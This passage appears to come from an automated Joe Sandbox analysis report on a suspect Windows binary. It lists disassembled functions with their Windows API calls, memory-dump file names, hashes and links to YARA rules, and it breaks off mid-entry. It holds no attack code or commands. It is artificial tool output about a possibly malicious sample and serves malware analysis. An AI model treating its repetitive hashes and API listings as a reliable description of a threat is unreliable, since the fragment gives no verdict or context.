                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend_wcslen
                                                • String ID:
                                                • API String ID: 455545452-0
                                                • Opcode ID: f2fd83a7b93c868180b3886a4df7b628d6a40c6a72c98ec79be26c714acc185d
                                                • Instruction ID: 314b045ab9e64c1660a82387a056221fc1f1b3448b832de8ff980acafb4e377c
                                                • Opcode Fuzzy Hash: f2fd83a7b93c868180b3886a4df7b628d6a40c6a72c98ec79be26c714acc185d
                                                • Instruction Fuzzy Hash: FA11E67161462896DF22EF65EC85AFEB7ACEF11760F54802AF915D6081E770CB84CF60
                                                Function 002F1A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 002F1A47
                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 002F1A59
                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 002F1A6F
                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 002F1A8A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID:
                                                • API String ID: 3850602802-0
                                                • Opcode ID: efb945560510459de620032b35c6506a4f4aa07e136393622a2a152e8b386637
                                                • Instruction ID: b6834603995c8d8c2945ee57510aea833ad48f5cda470e561da5c22566508dc2
                                                • Opcode Fuzzy Hash: efb945560510459de620032b35c6506a4f4aa07e136393622a2a152e8b386637
                                                • Instruction Fuzzy Hash: 0811393AD01219FFEB11DBA5CD85FADFB78EB08750F6000A1EA00B7294D6716E60DB94
                                                Function 002FE1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentThreadId.KERNEL32 ref: 002FE1FD
                                                • MessageBoxW.USER32(?,?,?,?), ref: 002FE230
                                                • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 002FE246
                                                • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 002FE24D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                • String ID:
                                                • API String ID: 2880819207-0
                                                • Opcode ID: 751b1291f5d270318a26e44dbe34912586372117641a71660eaab102ed8f7e32
                                                • Instruction ID: bec9cc0a9c5a4a95d79ebe6cc65f74620d3bf0c3560f7944d518d957cded3b38
                                                • Opcode Fuzzy Hash: 751b1291f5d270318a26e44dbe34912586372117641a71660eaab102ed8f7e32
                                                • Instruction Fuzzy Hash: 28112B76914258BFDB139FA89C05AAE7FACAB45360F148629F915D3391E2B0DD108BA0
                                                Function 002BD1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateThread.KERNEL32(00000000,?,002BCFF9,00000000,00000004,00000000), ref: 002BD218
                                                • GetLastError.KERNEL32 ref: 002BD224
                                                • __dosmaperr.LIBCMT ref: 002BD22B
                                                • ResumeThread.KERNEL32(00000000), ref: 002BD249
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Thread$CreateErrorLastResume__dosmaperr
                                                • String ID:
                                                • API String ID: 173952441-0
                                                • Opcode ID: ca37930b7892b5af185dd4cac43910aa3928a2af675c2e5d8668f91d45aa6522
                                                • Instruction ID: f2e4bca4921a3dc7c11c810bc351af207da981c0aab62cda8ce7bcd3b3028e02
                                                • Opcode Fuzzy Hash: ca37930b7892b5af185dd4cac43910aa3928a2af675c2e5d8668f91d45aa6522
                                                • Instruction Fuzzy Hash: A3012636435205BBCB215FA5DC05BEE7A6CDF813B0F204219FD24920D1EB708821CBA0
                                                Function 0029600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0029604C
                                                • GetStockObject.GDI32(00000011), ref: 00296060
                                                • SendMessageW.USER32(00000000,00000030,00000000), ref: 0029606A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CreateMessageObjectSendStockWindow
                                                • String ID:
                                                • API String ID: 3970641297-0
                                                • Opcode ID: 8a374c29ab53c0ee73995ae18e190cc90d0552ffa7c66211ec34bb15538c7e06
                                                • Instruction ID: 5ce499d4a7ae578c85d63c70e0d4277aefc0ec8dd987a70b6e3d880f33dcf246
                                                • Opcode Fuzzy Hash: 8a374c29ab53c0ee73995ae18e190cc90d0552ffa7c66211ec34bb15538c7e06
                                                • Instruction Fuzzy Hash: 7F116D72521509BFEF225FA49C98EEABBADFF183A4F040216FA1452110D7729C70DBA0
                                                Function 002B3B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • ___BuildCatchObject.LIBVCRUNTIME ref: 002B3B56
                                                  • Part of subcall function 002B3AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 002B3AD2
                                                  • Part of subcall function 002B3AA3: ___AdjustPointer.LIBCMT ref: 002B3AED
                                                • _UnwindNestedFrames.LIBCMT ref: 002B3B6B
                                                • __FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 002B3B7C
                                                • CallCatchBlock.LIBVCRUNTIME ref: 002B3BA4
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
                                                • String ID:
                                                • API String ID: 737400349-0
                                                • Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
                                                • Instruction ID: 2ed5d70a3bee9d94358154e0b7b87e442b43c29e927a516b2375dcd42922c235
                                                • Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
                                                • Instruction Fuzzy Hash: B2012932110149BBDF12AE95CC42EEB7B69FF48798F044014FE4856122C732E971EFA0
                                                Function 002C3073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,002913C6,00000000,00000000,?,002C301A,002913C6,00000000,00000000,00000000,?,002C328B,00000006,FlsSetValue), ref: 002C30A5
                                                • GetLastError.KERNEL32(?,002C301A,002913C6,00000000,00000000,00000000,?,002C328B,00000006,FlsSetValue,00332290,FlsSetValue,00000000,00000364,?,002C2E46), ref: 002C30B1
                                                • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,002C301A,002913C6,00000000,00000000,00000000,?,002C328B,00000006,FlsSetValue,00332290,FlsSetValue,00000000), ref: 002C30BF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: LibraryLoad$ErrorLast
                                                • String ID:
                                                • API String ID: 3177248105-0
                                                • Opcode ID: 08c16c70afd53f7a9c35f932b9dad0f3d6714dd9d687e7c39c7f66c1ab5ce248
                                                • Instruction ID: d15ca46f0d3ee3581fe04b6b23a20d4010ae1e51897d0bf621e8da2ae0e90226
                                                • Opcode Fuzzy Hash: 08c16c70afd53f7a9c35f932b9dad0f3d6714dd9d687e7c39c7f66c1ab5ce248
                                                • Instruction Fuzzy Hash: 1501B533331622ABCB328A68AC44E67779CAF05761F108B28E906D7140C721D915C6D0
                                                Function 002F7464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 002F747F
                                                • LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 002F7497
                                                • RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 002F74AC
                                                • RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 002F74CA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Type$Register$FileLoadModuleNameUser
                                                • String ID:
                                                • API String ID: 1352324309-0
                                                • Opcode ID: e5c00c1d73adb9e46016dac44541850b2fd8b15316377bc1881a25129e036fd5
                                                • Instruction ID: 027d0659db26bb7db7eba76fbbf9328c05ffeb292b22b3af04fb2820ef44592b
                                                • Opcode Fuzzy Hash: e5c00c1d73adb9e46016dac44541850b2fd8b15316377bc1881a25129e036fd5
                                                • Instruction Fuzzy Hash: A7118BB5225319ABE7319F14EC09BA7BBFCEB00B40F10856DE616D7191D7B0E914DBA0
                                                Function 002FB0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,002FACD3,?,00008000), ref: 002FB0C4
                                                • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,002FACD3,?,00008000), ref: 002FB0E9
                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,002FACD3,?,00008000), ref: 002FB0F3
                                                • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,002FACD3,?,00008000), ref: 002FB126
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CounterPerformanceQuerySleep
                                                • String ID:
                                                • API String ID: 2875609808-0
                                                • Opcode ID: 84981775a6236729cc6995afa1ffcd650f8314b7bfd9001e4fb536583d66ac39
                                                • Instruction ID: 510397d90ec8e14449cf957cde5ca414858a40e93f3a05f45316603189e3c4e3
                                                • Opcode Fuzzy Hash: 84981775a6236729cc6995afa1ffcd650f8314b7bfd9001e4fb536583d66ac39
                                                • Instruction Fuzzy Hash: C9118B30C20A2DE7DF12AFE4E9696FEFB78FF09351F0040A9DA41B2181CB7056618B51
                                                Function 002F2DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 002F2DC5
                                                • GetWindowThreadProcessId.USER32(?,00000000), ref: 002F2DD6
                                                • GetCurrentThreadId.KERNEL32 ref: 002F2DDD
                                                • AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 002F2DE4
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                • String ID:
                                                • API String ID: 2710830443-0
                                                • Opcode ID: 3abf895765a6d6e20d19c5c6a7a1b96b81e1e4835c0a734ee7e624f8cf0346ff
                                                • Instruction ID: c55c12c2fb8b318530bbc10556b264bb44ceb86567478971914ff667dee42aec
                                                • Opcode Fuzzy Hash: 3abf895765a6d6e20d19c5c6a7a1b96b81e1e4835c0a734ee7e624f8cf0346ff
                                                • Instruction Fuzzy Hash: 59E06D71121628BBE7311B629C0EEFBBE6CEB43BA1F441129B206D10809AA48846C6B0
                                                Function 00328863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002A9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 002A9693
                                                  • Part of subcall function 002A9639: SelectObject.GDI32(?,00000000), ref: 002A96A2
                                                  • Part of subcall function 002A9639: BeginPath.GDI32(?), ref: 002A96B9
                                                  • Part of subcall function 002A9639: SelectObject.GDI32(?,00000000), ref: 002A96E2
                                                • MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00328887
                                                • LineTo.GDI32(?,?,?), ref: 00328894
                                                • EndPath.GDI32(?), ref: 003288A4
                                                • StrokePath.GDI32(?), ref: 003288B2
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                                • String ID:
                                                • API String ID: 1539411459-0
                                                • Opcode ID: cb765318cdbd6c3ce29f8b2e9c01d0f8c3bac24c56f2c84da43cd81fdf8564b4
                                                • Instruction ID: 05c04d2c769fd81e37e580c960e8ac1d48ac8926c55b6ed6e2384d6645320db3
                                                • Opcode Fuzzy Hash: cb765318cdbd6c3ce29f8b2e9c01d0f8c3bac24c56f2c84da43cd81fdf8564b4
                                                • Instruction Fuzzy Hash: 09F03A36052668BAEB235F94AC0AFCE3A5DAF06310F048004FA11650E1C7B55562CFE5
                                                Function 002A98B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetSysColor.USER32(00000008), ref: 002A98CC
                                                • SetTextColor.GDI32(?,?), ref: 002A98D6
                                                • SetBkMode.GDI32(?,00000001), ref: 002A98E9
                                                • GetStockObject.GDI32(00000005), ref: 002A98F1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Color$ModeObjectStockText
                                                • String ID:
                                                • API String ID: 4037423528-0
                                                • Opcode ID: 042b0bde77494260ee74674bb29c5539b64bc095326fc2900a9b6ad7e34c93c5
                                                • Instruction ID: e7a8ca37517b0e07031fd9adbe2d1a27def15c7c264c3d73f9e9b62ee258810f
                                                • Opcode Fuzzy Hash: 042b0bde77494260ee74674bb29c5539b64bc095326fc2900a9b6ad7e34c93c5
                                                • Instruction Fuzzy Hash: 7AE0E531250680AADB320F35AC09BDC3F24AB02332F04821DF6F5540E1C37156619B10
                                                Function 002F162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentThread.KERNEL32 ref: 002F1634
                                                • OpenThreadToken.ADVAPI32(00000000,?,?,?,002F11D9), ref: 002F163B
                                                • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,002F11D9), ref: 002F1648
                                                • OpenProcessToken.ADVAPI32(00000000,?,?,?,002F11D9), ref: 002F164F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CurrentOpenProcessThreadToken
                                                • String ID:
                                                • API String ID: 3974789173-0
                                                • Opcode ID: 2b5057bb81ba0750c76b6c8d55ff00191215d447610a2914eec61aaa97f68e44
                                                • Instruction ID: 1755e3e5e3c02d436c177d6333a6c69faa21a4af594d32301cf2719ab0c6a437
                                                • Opcode Fuzzy Hash: 2b5057bb81ba0750c76b6c8d55ff00191215d447610a2914eec61aaa97f68e44
                                                • Instruction Fuzzy Hash: CFE08631611211DBD7301FA09D0DB5A7B7CBF447D1F14981CF345CA080D6348452C754
                                                Function 002ED858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDesktopWindow.USER32 ref: 002ED858
                                                • GetDC.USER32(00000000), ref: 002ED862
                                                • GetDeviceCaps.GDI32(00000000,0000000C), ref: 002ED882
                                                • ReleaseDC.USER32(?), ref: 002ED8A3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CapsDesktopDeviceReleaseWindow
                                                • String ID:
                                                • API String ID: 2889604237-0
                                                • Opcode ID: 74605c23cf20c4ed775c22cf9dec14afa976faa94212af3192a7865cc0a978de
                                                • Instruction ID: 2f8a8b3f2a1f000d32807fa578aaab54e1d45140b9ff13be9b745c904475dd0f
                                                • Opcode Fuzzy Hash: 74605c23cf20c4ed775c22cf9dec14afa976faa94212af3192a7865cc0a978de
                                                • Instruction Fuzzy Hash: EAE01AB1820204DFCF529FA0D80866DBBB9FB08710F249009F806E7250CB788912EF40
                                                Function 002ED86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDesktopWindow.USER32 ref: 002ED86C
                                                • GetDC.USER32(00000000), ref: 002ED876
                                                • GetDeviceCaps.GDI32(00000000,0000000C), ref: 002ED882
                                                • ReleaseDC.USER32(?), ref: 002ED8A3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CapsDesktopDeviceReleaseWindow
                                                • String ID:
                                                • API String ID: 2889604237-0
                                                • Opcode ID: da3567ecbe045f195d97bb7debb2c3972da80224b411609df8977c7d55aa41df
                                                • Instruction ID: 0852cc39f00e6b38b44a7ab7ef980458dced499875ece5ebcc0fcf4bc8d32d5c
                                                • Opcode Fuzzy Hash: da3567ecbe045f195d97bb7debb2c3972da80224b411609df8977c7d55aa41df
                                                • Instruction Fuzzy Hash: 97E09A75C20204DFCF629FA0D80866DBBB9FB08711F149449F94AE7650DB785916DF50
                                                Function 00304D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00297620: _wcslen.LIBCMT ref: 00297625
                                                • WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00304ED4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Connection_wcslen
                                                • String ID: *$LPT
                                                • API String ID: 1725874428-3443410124
                                                • Opcode ID: 3c52afbd9e1928a3a63c2a4b35aba181dc40d685303ca43b89b60b68c66def1a
                                                • Instruction ID: 5906be55545b1b6b9de274f9a7bc11f440e035db87c0fd59567bad9187f1c41e
                                                • Opcode Fuzzy Hash: 3c52afbd9e1928a3a63c2a4b35aba181dc40d685303ca43b89b60b68c66def1a
                                                • Instruction Fuzzy Hash: C591A1B5A012059FCB15DF58C494EAABBF5BF44304F198099E90A9F7A2C731EE85CF90
                                                Function 002BE27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                                Download Yara Rule
                                                APIs
                                                • __startOneArgErrorHandling.LIBCMT ref: 002BE30D
                                                Strings
                                                Memory Dump Source
